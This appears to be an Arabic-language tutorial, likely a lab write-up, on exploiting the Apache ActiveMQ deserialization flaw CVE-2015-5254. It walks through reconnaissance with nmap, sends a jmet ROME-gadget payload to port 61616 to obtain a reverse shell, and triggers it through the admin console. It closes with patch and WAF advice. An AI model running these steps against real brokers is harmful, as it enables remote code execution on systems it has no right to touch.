إلغاء تسلسل ActiveMQ (CVE-2015-5254)

وصف الثغرة: توجد ثغرة أمنية في الإصدارات 5.x من Apache ActiveMQ قبل الإصدار 5.13.0، وتنبع هذه الثغرة من عدم قيام البرنامج بتقييد الفئات التي يمكن تسلسلها في الوسيط (broker). يمكن للمهاجم عن بُعد استغلال هذه الثغرة لتنفيذ تعليمات برمجية عشوائية باستخدام كائنات Java Message Service (JMS) ObjectMessage المسلسلة والمُعدة خصيصًا.

الإصدارات المتأثرة: الإصدارات 5.x من Apache ActiveMQ قبل الإصدار 5.13.0

0x01 تسجيل الدخول إلى الخلفية (Backend) لتحديد الإصدار: http://IP:8161

Image text

0x02 التأكد من أن المنفذ 61616 مفتوح: nmap -sV -Pn -T4 -sC -p 61616 IP Image text

0x03 إرسال payload للصدى العكسي (Reverse Shell): java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "xxx" -Yp ROME IP 61616 Image text

0x04 انقر لتفعيل Browse event-Message ID ، نجاح الصدى العكسي: http://IP:8161/admin/message.jsp?id=ID&JMSDestination=event Image text

توصيات الإصلاح: قم بالترقية إلى أحدث إصدار، وقم بتكوين قواعد WAF ذات الصلة للاعتراض.

ActiveMQ_CVE-2015-5254

الأكثر شعبية